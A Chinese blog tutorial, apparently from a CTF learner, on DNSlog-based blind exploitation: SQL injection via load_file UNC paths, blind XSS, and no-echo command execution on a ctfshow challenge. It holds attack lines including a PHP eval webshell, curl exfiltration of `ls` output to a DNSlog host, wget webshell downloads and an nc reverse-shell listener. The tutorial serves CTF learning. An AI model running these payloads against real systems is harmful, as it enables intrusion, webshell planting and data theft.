| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 网络协议 -> dnslog盲打学习 -> 正文阅读 |
|
[网络协议]dnslog盲打学习 |
前言在渗透或者ctf中,我们可能会遇到一些没有回显的漏洞,这个时候可以通过dnslog来判断存不存在漏洞,并且得到漏洞执行的结果。 什么是Dnslogdns是在我们输入一个域名如A.com时,会通过DNS把域名解析为ip,靠着dns解析到真正的ip地址127.0.0.1,这样子才能访问127.0.0.1服务器上的相应服务。
可以通过这篇文章好好理解一下dns的解析过程域名分级与域名解析过程(DNS)_Andy Tools-CSDN博客_域名服务器分级 Dnslog的原理当我们访问某个站点如www.cloudcrowd.com.cn时,dns的解析过程如图: 其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。 Dnslog工具可以自己搭一个dnslog,但是我比较懒,会直接使用在线的平台。 SQL盲注回显不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如 利用条件
为什么要求当前站点服务器为windows呢?这里就涉及到Windows的一个东西——UNC路径? UNC路径
因为load_file要通过UNC路径来向域名发起请求带出数据,而linux服务器没有这个东西,所以才有这个限制。 利用方式借别人的图先来看一下在mysql的基本用法,直接在mysql执行:
需要用4个\的原因是,要对\进行转义,每一个\转义一个\,所以就有了四个\。 查看dnslog ?这是最基本的用法,看下在盲注的实战中的用法:
利用concat()函数将查询的数据库名和域名拼接,执行后查看DNSlog 可以看到库名已经被带出。 无回显的XSS???????直接把payload放到可能存在xss的地方,再查看dnslog平台
SSRF无回显的命令执行在不确定是否存在命令执行的漏洞时,可以通过ping、curl命令结合dnslog来判断。 linux系统:
``是shell_exec的符号表示,根据语法会先执行whoami这个命令,并将`whoami`替换为结果,再执行整个的curl命令。 windows系统:
利用方法一、执行命令利用条件:
利用现成的环境,如ctfshow命令执行web42,假设这是一个没有回显的命令执行,先看一下利用方式。 因为直接传c=ls的话,后面的会把结果给吞掉,所以得通过ls;1来执行两条命令,具体的话可以看一下我另一篇文章里面有详细说明。 1、利用>或>>?在无回显且站点目录具有写的权限的情况下,可以将命令执行后的结果输出到文件中。
?接着访问1.txt可以得到命令执行的结果 接着可以直接cat flag.php>2.txt;1来得到flag。 2、利用cp、mv命令可以利用复制和重命名命令来得到文件,但是这个有个弊端,就是不能通过这个来这个目录下的文件名。 cp flag.php flag.txt mv flag.php flag.txt 3、利用tar、zip命令
二、写webshell(直接写入或者外部下载webshell)1、直接写webshell利用条件:
后面这个payload的效果是下图,虽然在shell.php里面的一句话木马有单引号,但是不影响php代码执行。 如果是直接对<?php eval($_POST[1]);?>进行base64编码,那么解码后写到webshell.php会少一段代码,导致无法成功写shell,像下面这样。 2、外部下载webshell利用条件:
利用方式:
上面那个payload解释一下,通过wget下载服务器上的1.txt到当前目录下,wget xxx -O是重命名1.txt为webshell.php,如果是不用-O的话是直接下载到当前目录下。所以得先在服务器的1.txt文件中写好一句话木马,下载后重命名后就是我们的webshell。 这里注意!!!
来做个实验验证一下吧,我在服务器的1.php里面写 <?php echo 520;?>,通过上面的结论可以得到下载到当前目录的1.php里面是执行结果,就是520。 ?这里我已经通过蚁剑连接后门了,回到存在命令执行的地方再执行一下下载命令:wget 服务器ip/1.php。? 直接来蚁剑查看结果,发现确实是这样,就是你后面通过-O来重命名,结果也是一样的。 三、带出数据测试环境为:ctfshow命令执行42 利用条件:
1、带出数据到vps上先在服务器上构造一个接收脚本ls.php
再构造payload,在漏洞处执行
不对得到的结果进行base64编码可能带不出数据,得到数据后会在同一目录下生成flag.txt。这种方式的弊端是带出的数据是有限的,我们看一下正常的flag文件。 再看一下经过base64解码后的数据,明显发现少了很多,所以说这种方式带出的数据有限。? 2、带出数据到dnslog平台直接在命令执行处打payload就行了
下面是对各种payload的解释,以及各种坑。 这是flag.php的内容,挺多的。 第一种payload:
这种方式得到的ls结果是只有第一个文件名,因为ls获取的结果为1.php?2.php这种,文件名与文件名间会有空格,结果变成curl 1.php 2.php.xx.xeye.io,导致只能带出2.php,下面是结果展示图。 这个时候加个base64编码就可以带出大部分结果了,因为curl带出数据有限,在文件比较多的情况下,还是不能带出所有文件。? 第二种payload:
这个时候如果不加base64编码,命令执行后就变成 curl xxx.xeye.io/1.php 2.php,这个时候只能带出第一个文件名。 同样的得加个base64编码获取大部分结果。 第三种payload:
这种payload得到的结果不全,也是获得后面连在一起的结果而已。 这种情况你加个base64编码的话,是执行不了的,经过测试具体原因是因为base64编码后,flag.php里面数据太多导致curl直接摆烂,连一部分都不传了。 第四种payload:
这种情况就很神奇,在flag.php文件字节比较多情况下,直接cat flag.php不加base64编码是不会执行的,curl也直接摆烂,md直接不传了。 但是我通过一直写文件,堆了很多文件在当前目录下,来看看有多少。 ?我直接curl xx.xeye.io/`ls`还是可以得到第一个文件的,没摆烂,确实有点不解。可能ls和cat的返回形式不一样吧.................. 3、带数据到burpsuit软件上传到服务器、带到dnslog都有一定的弊端,而且可能会玄学......带到burpsuit软件里面,功能更稳定,只能说上面两种有的它都有,没有的也有,bp可以直接带出文件全内容。 在这里打开Burp Collaborator client 然后点击复制地址 利用方式:?
解释一下payload:
参考一下这篇curl学习的博客理解吧学习笔记之 curl 命令用法详解 - Leone- - 博客园? 最后来看一下效果,这是第一个payload的返回结果,要点一下Poll now才会刷新,直接点http的就是了。 ?这是第二个payload的执行结果,可以看到flag.php的所有内容都返回了。 ? 四、反弹shell1、正向弹shell利用条件:
利用方式:
在自己的服务器上
2、反向弹shell利用条件: 在自己服务器上监听8888端口 nc -lvnp 8888 在system类命令执行处
第一个payload因为没有&可以直接执行,第二三个payload因为里面有&这个符号,在php中有特殊含义,所以得对payload进行url全编码,再放到命令执行处执行.......也可以直接对&这个进行编码 参考文章https://xz.aliyun.com/t/8125#toc-2 使用DNSLOG拯救你的盲打盲注 - FreeBuf网络安全行业门户 DNSlog注入学习 - Lushun - 博客园 (cnblogs.com) |
|
网络协议 最新文章 |
使用Easyswoole 搭建简单的Websoket服务 |
常见的数据通信方式有哪些? |
Openssl 1024bit RSA算法---公私钥获取和处 |
HTTPS协议的密钥交换流程 |
《小白WEB安全入门》03. 漏洞篇 |
HttpRunner4.x 安装与使用 |
2021-07-04 |
手写RPC学习笔记 |
K8S高可用版本部署 |
mySQL计算IP地址范围 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/26 7:30:45- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |